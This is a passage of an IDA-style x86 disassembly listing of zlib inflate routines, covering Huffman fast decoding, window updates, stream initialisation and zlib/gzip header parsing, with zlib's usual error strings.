ebx, [esi+169Ch] push eax mov [ebx], eax push dword ptr [edi+28h] call dword ptr [edi+20h] mov ecx, [ebx] mov edx, ecx shl edx, 2 mov [esi+0Ch], edx xor edx, edx add esp, 30h cmp [esi+38h], edx mov [esi+8], eax jz short loc_40FC37 cmp [esi+40h], edx jz short loc_40FC37 cmp [esi+44h], edx jz short loc_40FC37 cmp eax, edx jz short loc_40FC37 mov edx, ecx imul ecx, 3 shr edx, 1 lea edx, [eax+edx*2] add ecx, eax mov eax, [ebp+arg_4] mov [esi+84h], eax mov eax, [ebp+arg_14] push edi mov [esi+16A4h], edx mov [esi+1698h], ecx mov [esi+88h], eax mov byte ptr [esi+24h], 8 call sub_40FA03 pop ecx jmp short loc_40FC55 ; --------------------------------------------------------------------------- loc_40FC37: ; CODE XREF: sub_40FA8A+166j ; sub_40FA8A+16Bj ... mov dword ptr [esi+4], 29Ah mov eax, ds:off_420268 push edi mov [edi+18h], eax call sub_40EDE3 pop ecx jmp loc_40FB4C ; --------------------------------------------------------------------------- loc_40FC52: ; CODE XREF: sub_40FA8A+10j ; sub_40FA8A+19j ... push 0FFFFFFFAh loc_40FC54: ; CODE XREF: sub_40FA8A+32j ; sub_40FA8A+C4j pop eax loc_40FC55: ; CODE XREF: sub_40FA8A+1ABj pop edi pop esi pop ebx pop ebp retn sub_40FA8A endp ; =============== S U B R O U T I N E ======================================= sub_40FC5A proc near ; CODE XREF: sub_40E306+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push [esp+4+arg_8] push 0 push 8 push 0Fh push 8 push [esp+18h+arg_4] push [esp+1Ch+arg_0] call sub_40FA8A add esp, 20h retn sub_40FC5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC7B proc near ; CODE XREF: sub_41025B+BF0p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h mov eax, [ebp+arg_0] mov ecx, [eax+4] mov edx, [eax+10h] push ebx mov ebx, [eax] dec ebx lea ecx, [ecx+ebx-5] mov [ebp+var_2C], ecx mov ecx, edx sub ecx, [ebp+arg_4] push esi mov esi, [eax+1Ch] push edi mov edi, [eax+0Ch] dec edi add ecx, edi mov [ebp+var_3C], ecx lea ecx, [edx+edi-101h] mov [ebp+var_30], ecx mov ecx, [esi+28h] mov [ebp+var_24], ecx mov ecx, [esi+2Ch] mov [ebp+var_40], ecx mov ecx, [esi+30h] mov [ebp+var_18], ecx mov ecx, [esi+34h] mov [ebp+var_28], ecx mov ecx, [esi+38h] mov [ebp+var_4], ecx mov ecx, [esi+3Ch] mov [ebp+arg_4], ecx mov ecx, [esi+4Ch] xor edx, edx mov [ebp+var_1C], ecx mov ecx, [esi+50h] inc edx mov [ebp+var_20], ecx mov ecx, [esi+54h] shl edx, cl mov ecx, [esi+58h] dec edx mov [ebp+var_34], edx xor edx, edx inc edx shl edx, cl dec edx mov [ebp+var_38], edx loc_40FCFA: ; CODE XREF: sub_40FC7B+356j mov ecx, [ebp+arg_4] cmp ecx, 0Fh jnb short loc_40FD1F add [ebp+arg_4], 8 inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+arg_4] add [ebp+var_4], edx inc ebx movzx edx, byte ptr [ebx] shl edx, cl add [ebp+var_4], edx add [ebp+arg_4], 8 loc_40FD1F: ; CODE XREF: sub_40FC7B+85j mov ecx, [ebp+var_34] and ecx, [ebp+var_4] mov edx, [ebp+var_1C] mov ecx, [edx+ecx*4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] shr ecx, 8 movzx ecx, cl shr [ebp+var_4], cl sub [ebp+arg_4], ecx mov [ebp+var_8], ecx movzx ecx, dl test ecx, ecx mov [ebp+var_8], ecx jz short loc_40FD91 loc_40FD4A: ; CODE XREF: sub_40FC7B+114j mov ecx, [ebp+var_8] test cl, 10h jnz short loc_40FD9C test cl, 40h jnz loc_40FFEB xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_10] shr ecx, 10h dec edx and edx, [ebp+var_4] add edx, ecx mov ecx, [ebp+var_1C] mov ecx, [ecx+edx*4] mov [ebp+var_10], ecx mov edx, [ebp+var_10] shr ecx, 8 movzx ecx, cl shr [ebp+var_4], cl sub [ebp+arg_4], ecx mov [ebp+var_8], ecx movzx ecx, dl test ecx, ecx mov [ebp+var_8], ecx jnz short loc_40FD4A loc_40FD91: ; CODE XREF: sub_40FC7B+CDj inc edi shr edx, 10h mov [edi], dl jmp loc_40FFC9 ; --------------------------------------------------------------------------- loc_40FD9C: ; CODE XREF: sub_40FC7B+D5j shr edx, 10h and ecx, 0Fh mov [ebp+var_C], edx mov [ebp+var_8], ecx jz short loc_40FDD4 mov ecx, [ebp+arg_4] cmp ecx, [ebp+var_8] jnb short loc_40FDBF inc ebx movzx edx, byte ptr [ebx] shl edx, cl add [ebp+var_4], edx add [ebp+arg_4], 8 loc_40FDBF: ; CODE XREF: sub_40FC7B+135j mov ecx, [ebp+var_8] xor edx, edx inc edx shl edx, cl dec edx and edx, [ebp+var_4] shr [ebp+var_4], cl add [ebp+var_C], edx sub [ebp+arg_4], ecx loc_40FDD4: ; CODE XREF: sub_40FC7B+12Dj mov ecx, [ebp+arg_4] cmp ecx, 0Fh jnb short loc_40FDF9 add [ebp+arg_4], 8 inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+arg_4] add [ebp+var_4], edx inc ebx movzx edx, byte ptr [ebx] shl edx, cl add [ebp+var_4], edx add [ebp+arg_4], 8 loc_40FDF9: ; CODE XREF: sub_40FC7B+15Fj mov ecx, [ebp+var_38] and ecx, [ebp+var_4] mov edx, [ebp+var_20] mov ecx, [edx+ecx*4] jmp short loc_40FE25 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FC7B+1C5j test cl, 40h jnz loc_40FFE2 xor edx, edx inc edx shl edx, cl movzx ecx, word ptr [ebp+var_10+2] dec edx and edx, [ebp+var_4] add edx, ecx mov ecx, [ebp+var_20] mov ecx, [ecx+edx*4] loc_40FE25: ; CODE XREF: sub_40FC7B+18Aj mov [ebp+var_10], ecx mov edx, [ebp+var_10] shr ecx, 8 movzx ecx, cl shr [ebp+var_4], cl sub [ebp+arg_4], ecx mov [ebp+var_8], ecx movzx ecx, dl test cl, 10h jz short loc_40FE07 and ecx, 0Fh shr edx, 10h cmp [ebp+arg_4], ecx mov [ebp+var_14], edx mov [ebp+var_8], ecx jnb short loc_40FE7E mov ecx, [ebp+arg_4] add [ebp+arg_4], 8 inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+var_8] add [ebp+var_4], edx cmp [ebp+arg_4], ecx jnb short loc_40FE7E mov ecx, [ebp+arg_4] inc ebx movzx edx, byte ptr [ebx] shl edx, cl mov ecx, [ebp+var_8] add [ebp+var_4], edx add [ebp+arg_4], 8 loc_40FE7E: ; CODE XREF: sub_40FC7B+1D6j ; sub_40FC7B+1EEj xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_8] sub [ebp+arg_4], ecx dec edx and edx, [ebp+var_4] shr [ebp+var_4], cl add [ebp+var_14], edx mov edx, [ebp+var_14] mov ecx, edi sub ecx, [ebp+var_3C] cmp edx, ecx jbe loc_40FF91 sub edx, ecx cmp edx, [ebp+var_40] mov [ebp+var_8], edx ja loc_40FFD9 mov ecx, [ebp+var_28] dec ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_18] test ecx, ecx jnz short loc_40FEE5 mov ecx, [ebp+var_24] sub ecx, edx add [ebp+var_10], ecx mov ecx, edx cmp ecx, [ebp+var_C] jnb loc_40FF5A sub [ebp+var_C], ecx mov ecx, [ebp+var_10] loc_40FED8: ; CODE XREF: sub_40FC7B+266j inc ecx mov dl, [ecx] inc edi dec [ebp+var_8] mov [edi], dl jnz short loc_40FED8 jmp short loc_40FF30 ; --------------------------------------------------------------------------- loc_40FEE5: ; CODE XREF: sub_40FC7B+242j cmp ecx, edx jnb short loc_40FF3A sub ecx, edx add ecx, [ebp+var_24] add [ebp+var_10], ecx mov ecx, [ebp+var_8] sub ecx, [ebp+var_18] cmp ecx, [ebp+var_C] jnb short loc_40FF5A sub [ebp+var_C], ecx loc_40FEFF: ; CODE XREF: sub_40FC7B+290j inc [ebp+var_10] mov edx, [ebp+var_10] mov dl, [edx] inc edi dec ecx mov [edi], dl jnz short loc_40FEFF mov ecx, [ebp+var_28] dec ecx mov [ebp+var_10], ecx mov ecx, [ebp+var_18] cmp ecx, [ebp+var_C] jnb short loc_40FF5A sub [ebp+var_C], ecx mov [ebp+var_8], ecx mov ecx, [ebp+var_10] loc_40FF25: ; CODE XREF: sub_40FC7B+2B3j inc ecx mov dl, [ecx] inc edi dec [ebp+var_8] mov [edi], dl jnz short loc_40FF25 loc_40FF30: ; CODE XREF: sub_40FC7B+268j ; sub_40FC7B+2DDj mov ecx, edi sub ecx, [ebp+var_14] mov [ebp+var_10], ecx jmp short loc_40FF5D ; --------------------------------------------------------------------------- loc_40FF3A: ; CODE XREF: sub_40FC7B+26Cj sub ecx, edx add [ebp+var_10], ecx mov ecx, [ebp+var_8] cmp ecx, [ebp+var_C] jnb short loc_40FF5A sub [ebp+var_C], ecx mov ecx, [ebp+var_10] loc_40FF4D: ; CODE XREF: sub_40FC7B+2DBj inc ecx mov dl, [ecx] inc edi dec [ebp+var_8] mov [edi], dl jnz short loc_40FF4D jmp short loc_40FF30 ; --------------------------------------------------------------------------- loc_40FF5A: ; CODE XREF: sub_40FC7B+251j ; sub_40FC7B+27Fj ... mov ecx, [ebp+var_10] loc_40FF5D: ; CODE XREF: sub_40FC7B+2BDj mov edx, [ebp+var_C] cmp edx, 2 jbe short loc_40FFB1 lea eax, [edx-3] push 3 xor edx, edx pop ecx div ecx mov ecx, [ebp+var_10] inc eax loc_40FF73: ; CODE XREF: sub_40FC7B+30Fj sub [ebp+var_C], 3 inc ecx mov dl, [ecx] inc edi mov [edi], dl inc ecx mov dl, [ecx] inc edi inc ecx mov [edi], dl mov dl, [ecx] inc edi dec eax mov [edi], dl jnz short loc_40FF73 mov eax, [ebp+arg_0] jmp short loc_40FFB1 ; --------------------------------------------------------------------------- loc_40FF91: ; CODE XREF: sub_40FC7B+222j mov ecx, edi sub ecx, edx loc_40FF95: ; CODE XREF: sub_40FC7B+334j sub [ebp+var_C], 3 inc ecx mov dl, [ecx] inc edi mov [edi], dl inc ecx mov dl, [ecx] inc edi inc ecx mov [edi], dl mov dl, [ecx] inc edi cmp [ebp+var_C], 2 mov [edi], dl ja short loc_40FF95 loc_40FFB1: ; CODE XREF: sub_40FC7B+2E8j ; sub_40FC7B+314j cmp [ebp+var_C], 0 jz short loc_40FFC9 inc ecx mov dl, [ecx] inc edi cmp [ebp+var_C], 1 mov [edi], dl jbe short loc_40FFC9 mov cl, [ecx+1] inc edi mov [edi], cl loc_40FFC9: ; CODE XREF: sub_40FC7B+11Cj ; sub_40FC7B+33Aj ... cmp ebx, [ebp+var_2C] jnb short loc_410005 cmp edi, [ebp+var_30] jb loc_40FCFA jmp short loc_410005 ; --------------------------------------------------------------------------- loc_40FFD9: ; CODE XREF: sub_40FC7B+230j mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance too far back" jmp short loc_40FFFF ; --------------------------------------------------------------------------- loc_40FFE2: ; CODE XREF: sub_40FC7B+18Fj mov dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance code" jmp short loc_40FFFF ; --------------------------------------------------------------------------- loc_40FFEB: ; CODE XREF: sub_40FC7B+DAj test cl, 20h jz short loc_40FFF8 mov dword ptr [esi], 0Bh jmp short loc_410005 ; --------------------------------------------------------------------------- loc_40FFF8: ; CODE XREF: sub_40FC7B+373j mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code" loc_40FFFF: ; CODE XREF: sub_40FC7B+365j ; sub_40FC7B+36Ej mov dword ptr [esi], 1Bh loc_410005: ; CODE XREF: sub_40FC7B+351j ; sub_40FC7B+35Cj ... mov ecx, [ebp+arg_4] shr ecx, 3 sub ebx, ecx shl ecx, 3 sub [ebp+arg_4], ecx xor ecx, ecx inc ecx mov edx, ecx mov ecx, [ebp+arg_4] shl edx, cl dec edx mov ecx, edx mov edx, [ebp+var_4] and edx, ecx lea ecx, [ebx+1] mov [eax], ecx lea ecx, [edi+1] mov [eax+0Ch], ecx mov ecx, [ebp+var_2C] sub ecx, ebx add ecx, 5 mov [eax+4], ecx mov ecx, [ebp+var_30] sub ecx, edi add ecx, 101h mov [eax+10h], ecx mov eax, [ebp+arg_4] pop edi mov [esi+38h], edx mov [esi+3Ch], eax pop esi pop ebx leave retn sub_40FC7B endp ; =============== S U B R O U T I N E ======================================= sub_410057 proc near ; CODE XREF: sub_4100B2+9Bp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx cmp ecx, edx jz short loc_4100AE mov eax, [ecx+1Ch] cmp eax, edx jz short loc_4100AE mov [eax+1Ch], edx mov [ecx+14h], edx mov [ecx+8], edx mov [ecx+18h], edx mov dword ptr [ecx+30h], 1 lea ecx, [eax+530h] mov [eax], edx mov [eax+4], edx mov [eax+0Ch], edx mov dword ptr [eax+14h], 8000h mov [eax+20h], edx mov [eax+28h], edx mov [eax+2Ch], edx mov [eax+30h], edx mov [eax+38h], edx mov [eax+3Ch], edx mov [eax+6Ch], ecx mov [eax+50h], ecx mov [eax+4Ch], ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4100AE: ; CODE XREF: sub_410057+8j ; sub_410057+Fj push 0FFFFFFFEh pop eax retn sub_410057 endp ; =============== S U B R O U T I N E ======================================= sub_4100B2 proc near ; CODE XREF: sub_41016C+Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_8] push esi push edi xor edi, edi cmp eax, edi jz loc_410166 cmp byte ptr [eax], 31h jnz loc_410166 cmp [esp+8+arg_C], 38h jnz loc_410166 mov esi, [esp+8+arg_0] cmp esi, edi jnz short loc_4100E5 loc_4100DE: ; CODE XREF: sub_4100B2+AFj push 0FFFFFFFEh jmp loc_410168 ; --------------------------------------------------------------------------- loc_4100E5: ; CODE XREF: sub_4100B2+2Aj cmp [esi+20h], edi mov [esi+18h], edi jnz short loc_4100F7 mov dword ptr [esi+20h], offset sub_41302F mov [esi+28h], edi loc_4100F7: ; CODE XREF: sub_4100B2+39j cmp [esi+24h], edi jnz short loc_410103 mov dword ptr [esi+24h], offset sub_413040 loc_410103: ; CODE XREF: sub_4100B2+48j push 2530h push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch cmp eax, edi jnz short loc_41011B push 0FFFFFFFCh jmp short loc_410168 ; --------------------------------------------------------------------------- loc_41011B: ; CODE XREF: sub_4100B2+63j mov ecx, [esp+8+arg_4] cmp ecx, edi mov [esi+1Ch], eax jge short loc_41012D mov [eax+8], edi neg ecx jmp short loc_41013E ; --------------------------------------------------------------------------- loc_41012D: ; CODE XREF: sub_4100B2+72j mov edx, ecx sar edx, 4 inc edx cmp ecx, 30h mov [eax+8], edx jge short loc_41013E and ecx, 0Fh loc_41013E: ; CODE XREF: sub_4100B2+79j ; sub_4100B2+87j lea edx, [ecx-8] cmp edx, 7 ja short loc_410155 push esi mov [eax+24h], ecx mov [eax+34h], edi call sub_410057 pop ecx jmp short loc_410169 ; --------------------------------------------------------------------------- loc_410155: ; CODE XREF: sub_4100B2+92j push eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx mov [esi+1Ch], edi jmp loc_4100DE ; --------------------------------------------------------------------------- loc_410166: ; CODE XREF: sub_4100B2+Aj ; sub_4100B2+13j ... push 0FFFFFFFAh loc_410168: ; CODE XREF: sub_4100B2+2Ej ; sub_4100B2+67j pop eax loc_410169: ; CODE XREF: sub_4100B2+A1j pop edi pop esi retn sub_4100B2 endp ; =============== S U B R O U T I N E ======================================= sub_41016C proc near ; CODE XREF: sub_412FA4+34p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push 0Fh push [esp+0Ch+arg_0] call sub_4100B2 add esp, 10h retn sub_41016C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410183 proc near ; CODE XREF: sub_41025B+1160p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, [edi+1Ch] cmp dword ptr [esi+34h], 0 mov ebx, eax jnz short loc_4101B5 mov ecx, [esi+24h] xor eax, eax inc eax shl eax, cl push 1 push eax push dword ptr [edi+28h] call dword ptr [edi+20h] add esp, 0Ch test eax, eax mov [esi+34h], eax jnz short loc_4101B5 inc eax jmp loc_410257 ; --------------------------------------------------------------------------- loc_4101B5: ; CODE XREF: sub_410183+Fj ; sub_410183+2Aj xor eax, eax cmp [esi+28h], eax jnz short loc_4101CD mov ecx, [esi+24h] xor edx, edx inc edx shl edx, cl mov [esi+30h], eax mov [esi+2Ch], eax mov [esi+28h], edx loc_4101CD: ; CODE XREF: sub_410183+37j sub ebx, [edi+10h] mov eax, [esi+28h] cmp ebx, eax jb short loc_4101EF mov ecx, [edi+0Ch] push eax sub ecx, eax push ecx push dword ptr [esi+34h] call sub_40CCF7 add esp, 0Ch and dword ptr [esi+30h], 0 jmp short loc_410230 ; --------------------------------------------------------------------------- loc_4101EF: ; CODE XREF: sub_410183+52j sub eax, [esi+30h] cmp eax, ebx mov [ebp+var_4], eax jbe short loc_4101FC mov [ebp+var_4], ebx loc_4101FC: ; CODE XREF: sub_410183+74j mov eax, [edi+0Ch] push [ebp+var_4] sub eax, ebx push eax mov eax, [esi+34h] add eax, [esi+30h] push eax call sub_40CCF7 mov eax, [ebp+var_4] add esp, 0Ch sub ebx, eax jz short loc_410238 mov eax, [edi+0Ch] push ebx sub eax, ebx push eax push dword ptr [esi+34h] call sub_40CCF7 add esp, 0Ch mov [esi+30h], ebx loc_410230: ; CODE XREF: sub_410183+6Aj mov eax, [esi+28h] mov [esi+2Ch], eax jmp short loc_410255 ; --------------------------------------------------------------------------- loc_410238: ; CODE XREF: sub_410183+96j add [esi+30h], eax mov ecx, [esi+30h] mov edx, [esi+28h] cmp ecx, edx jnz short loc_410249 and dword ptr [esi+30h], 0 loc_410249: ; CODE XREF: sub_410183+C0j mov ecx, [esi+2Ch] cmp ecx, edx jnb short loc_410255 add ecx, eax mov [esi+2Ch], ecx loc_410255: ; CODE XREF: sub_410183+B3j ; sub_410183+CBj xor eax, eax loc_410257: ; CODE XREF: sub_410183+2Dj pop esi pop ebx leave retn sub_410183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41025B proc near ; CODE XREF: sub_412FA4+47p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] sub esp, 30h push ebx xor eax, eax cmp edx, eax push esi push edi jz short loc_4102BE mov esi, [edx+1Ch] cmp esi, eax jz short loc_4102BE cmp [edx+0Ch], eax jz short loc_4102BE cmp [edx], eax jnz short loc_410282 cmp [edx+4], eax jnz short loc_4102BE loc_410282: ; CODE XREF: sub_41025B+20j cmp dword ptr [esi], 0Bh jnz short loc_41028D mov dword ptr [esi], 0Ch loc_41028D: ; CODE XREF: sub_41025B+2Aj mov eax, [edx+0Ch] mov ecx, [edx+10h] mov ebx, [esi+38h] and [ebp+var_24], 0 mov edi, [esi+3Ch] mov [ebp+var_1C], eax mov eax, [edx] mov [ebp+var_4], eax mov eax, [edx+4] mov [ebp+var_8], eax mov [ebp+var_2C], eax mov eax, [esi] cmp eax, 1Ch mov [ebp+var_14], ecx mov [ebp+var_10], ebx mov [ebp+var_20], ecx jbe short loc_4102C9 loc_4102BE: ; CODE XREF: sub_41025B+10j ; sub_41025B+17j ... push 0FFFFFFFEh loc_4102C0: ; CODE XREF: sub_41025B+1105j ; sub_41025B+1171j pop eax loc_4102C1: ; CODE XREF: sub_41025B+1201j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4102C6: ; CODE XREF: sub_41025B+10DBj mov edx, [ebp+arg_0] loc_4102C9: ; CODE XREF: sub_41025B+61j jmp ds:off_411463[eax*4] loc_4102D0: ; DATA XREF: .text:off_411463o mov eax, [esi+8] test eax, eax jnz short loc_410304 mov dword ptr [esi], 0Ch jmp loc_411331 ; --------------------------------------------------------------------------- loc_4102E2: ; CODE XREF: sub_41025B+ACj cmp [ebp+var_8], 0 jz loc_41137F mov ecx, [ebp+var_4] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add ebx, edx inc [ebp+var_4] mov [ebp+var_10], ebx add edi, 8 loc_410304: ; CODE XREF: sub_41025B+7Aj cmp edi, 10h jb short loc_4102E2 test al, 2 jz short loc_41034E cmp ebx, 8B1Fh jnz short loc_41034E xor edi, edi push edi push edi push edi call sub_40E5EB mov [esi+18h], eax push 2 lea eax, [ebp+var_18] push eax mov [ebp+var_18], 1Fh mov [ebp+var_17], 8Bh push dword ptr [esi+18h] call sub_40E5EB add esp, 18h xor ebx, ebx mov [esi+18h], eax mov [ebp+var_10], ebx mov dword ptr [esi], 1 jmp loc_411331 ; --------------------------------------------------------------------------- loc_41034E: ; CODE XREF: sub_41025B+B0j ; sub_41025B+B8j mov eax, [esi+20h] and dword ptr [esi+10h], 0 test eax, eax jz short loc_41035D or dword ptr [eax+30h], 0FFFFFFFFh loc_41035D: ; CODE XREF: sub_41025B+FCj test byte ptr [esi+8], 1 jz loc_4103F0 movzx eax, bl shl eax, 8 mov ecx, ebx shr ecx, 8 add eax, ecx push 1Fh xor edx, edx pop ecx div ecx test edx, edx jnz short loc_4103F0 mov eax, ebx and al, 0Fh cmp al, 8 jz short loc_410396 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aUnknownCompres ; "unknown compression method" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410396: ; CODE XREF: sub_41025B+12Aj shr ebx, 4 mov ecx, ebx and ecx, 0Fh add ecx, 8 sub edi, 4 cmp ecx, [esi+24h] mov [ebp+var_10], ebx jbe short loc_4103BB mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size" jmp loc_41132B ; --------------------------------------------------------------------------- loc_4103BB: ; CODE XREF: sub_41025B+14Fj xor eax, eax xor edi, edi inc eax shl eax, cl push edi push edi push edi mov [esi+14h], eax call sub_40E0E6 mov ecx, [ebp+arg_0] shr ebx, 8 not ebx and ebx, 2 or ebx, 9 mov [esi+18h], eax mov [ecx+30h], eax add esp, 0Ch mov [esi], ebx xor ebx, ebx mov [ebp+var_10], ebx jmp loc_411331 ; --------------------------------------------------------------------------- loc_4103F0: ; CODE XREF: sub_41025B+106j ; sub_41025B+122j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aIncorrectHeade ; "incorrect header check" jmp loc_41132B ; --------------------------------------------------------------------------- loc_4103FF: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:00411467o cmp edi, 10h jnb short loc_41042E loc_410404: ; CODE XREF: sub_41025B+1CEj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 10h mov [ebp+var_10], ebx jb short loc_410404 mov edx, [ebp+arg_0] loc_41042E: ; CODE XREF: sub_41025B+1A7j cmp bl, 8 mov [esi+10h], ebx jz short loc_410442 mov dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410442: ; CODE XREF: sub_41025B+1D9j test bx, 0E000h jz short loc_410455 mov dword ptr [edx+18h], offset aUnknownHeaderF ; "unknown header flags set" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410455: ; CODE XREF: sub_41025B+1ECj mov eax, [esi+20h] test eax, eax jz short loc_410466 mov ecx, ebx shr ecx, 8 and ecx, 1 mov [eax], ecx loc_410466: ; CODE XREF: sub_41025B+1FFj test word ptr [esi+10h], 200h jz short loc_41048E mov [ebp+var_18], bl push 2 lea eax, [ebp+var_18] shr ebx, 8 push eax mov [ebp+var_17], bl push dword ptr [esi+18h] call sub_40E5EB mov edx, [ebp+arg_0] add esp, 0Ch mov [esi+18h], eax loc_41048E: ; CODE XREF: sub_41025B+211j xor ebx, ebx xor edi, edi mov dword ptr [esi], 2 loc_410498: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041146Bo cmp edi, 20h jnb short loc_4104C4 loc_41049D: ; CODE XREF: sub_41025B+264j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 20h jb short loc_41049D mov edx, [ebp+arg_0] loc_4104C4: ; CODE XREF: sub_41025B+240j mov eax, [esi+20h] test eax, eax jz short loc_4104CE mov [eax+4], ebx loc_4104CE: ; CODE XREF: sub_41025B+26Ej test word ptr [esi+10h], 200h jz short loc_410506 mov eax, ebx shr eax, 8 mov [ebp+var_17], al mov eax, ebx shr eax, 10h mov [ebp+var_16], al mov [ebp+var_18], bl push 4 lea eax, [ebp+var_18] shr ebx, 18h push eax mov [ebp+var_15], bl push dword ptr [esi+18h] call sub_40E5EB mov edx, [ebp+arg_0] add esp, 0Ch mov [esi+18h], eax loc_410506: ; CODE XREF: sub_41025B+279j xor ebx, ebx xor edi, edi mov dword ptr [esi], 3 loc_410510: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041146Fo cmp edi, 10h jnb short loc_41053C loc_410515: ; CODE XREF: sub_41025B+2DCj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 10h jb short loc_410515 mov edx, [ebp+arg_0] loc_41053C: ; CODE XREF: sub_41025B+2B8j mov eax, [esi+20h] test eax, eax jz short loc_410559 mov ecx, ebx and ecx, 0FFh mov [eax+8], ecx mov ecx, [esi+20h] mov eax, ebx shr eax, 8 mov [ecx+0Ch], eax loc_410559: ; CODE XREF: sub_41025B+2E6j test word ptr [esi+10h], 200h jz short loc_410581 mov [ebp+var_18], bl push 2 lea eax, [ebp+var_18] shr ebx, 8 push eax mov [ebp+var_17], bl push dword ptr [esi+18h] call sub_40E5EB mov edx, [ebp+arg_0] add esp, 0Ch mov [esi+18h], eax loc_410581: ; CODE XREF: sub_41025B+304j xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi mov dword ptr [esi], 4 loc_41058E: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:00411473o test word ptr [esi+10h], 400h jz short loc_410600 cmp edi, 10h jnb short loc_4105C2 loc_41059B: ; CODE XREF: sub_41025B+362j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 10h jb short loc_41059B mov edx, [ebp+arg_0] loc_4105C2: ; CODE XREF: sub_41025B+33Ej mov eax, [esi+20h] test eax, eax mov [esi+40h], ebx jz short loc_4105CF mov [eax+14h], ebx loc_4105CF: ; CODE XREF: sub_41025B+36Fj test word ptr [esi+10h], 200h jz short loc_4105F7 mov [ebp+var_18], bl push 2 lea eax, [ebp+var_18] shr ebx, 8 push eax mov [ebp+var_17], bl push dword ptr [esi+18h] call sub_40E5EB mov edx, [ebp+arg_0] add esp, 0Ch mov [esi+18h], eax loc_4105F7: ; CODE XREF: sub_41025B+37Aj xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi jmp short loc_41060B ; --------------------------------------------------------------------------- loc_410600: ; CODE XREF: sub_41025B+339j mov eax, [esi+20h] test eax, eax jz short loc_41060B and dword ptr [eax+10h], 0 loc_41060B: ; CODE XREF: sub_41025B+3A3j ; sub_41025B+3AAj mov dword ptr [esi], 5 loc_410611: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:00411477o test word ptr [esi+10h], 400h jz loc_4106A3 mov edx, [esi+40h] mov eax, [ebp+var_8] cmp edx, eax mov [ebp+var_C], edx jbe short loc_41062D mov [ebp+var_C], eax loc_41062D: ; CODE XREF: sub_41025B+3CDj cmp [ebp+var_C], 0 jz short loc_410696 mov ecx, [esi+20h] test ecx, ecx jz short loc_41066E mov eax, [ecx+10h] test eax, eax mov [ebp+var_28], eax jz short loc_41066E mov eax, [ecx+14h] mov ecx, [ecx+18h] sub eax, edx mov edx, [ebp+var_C] add edx, eax cmp edx, ecx jbe short loc_410659 sub 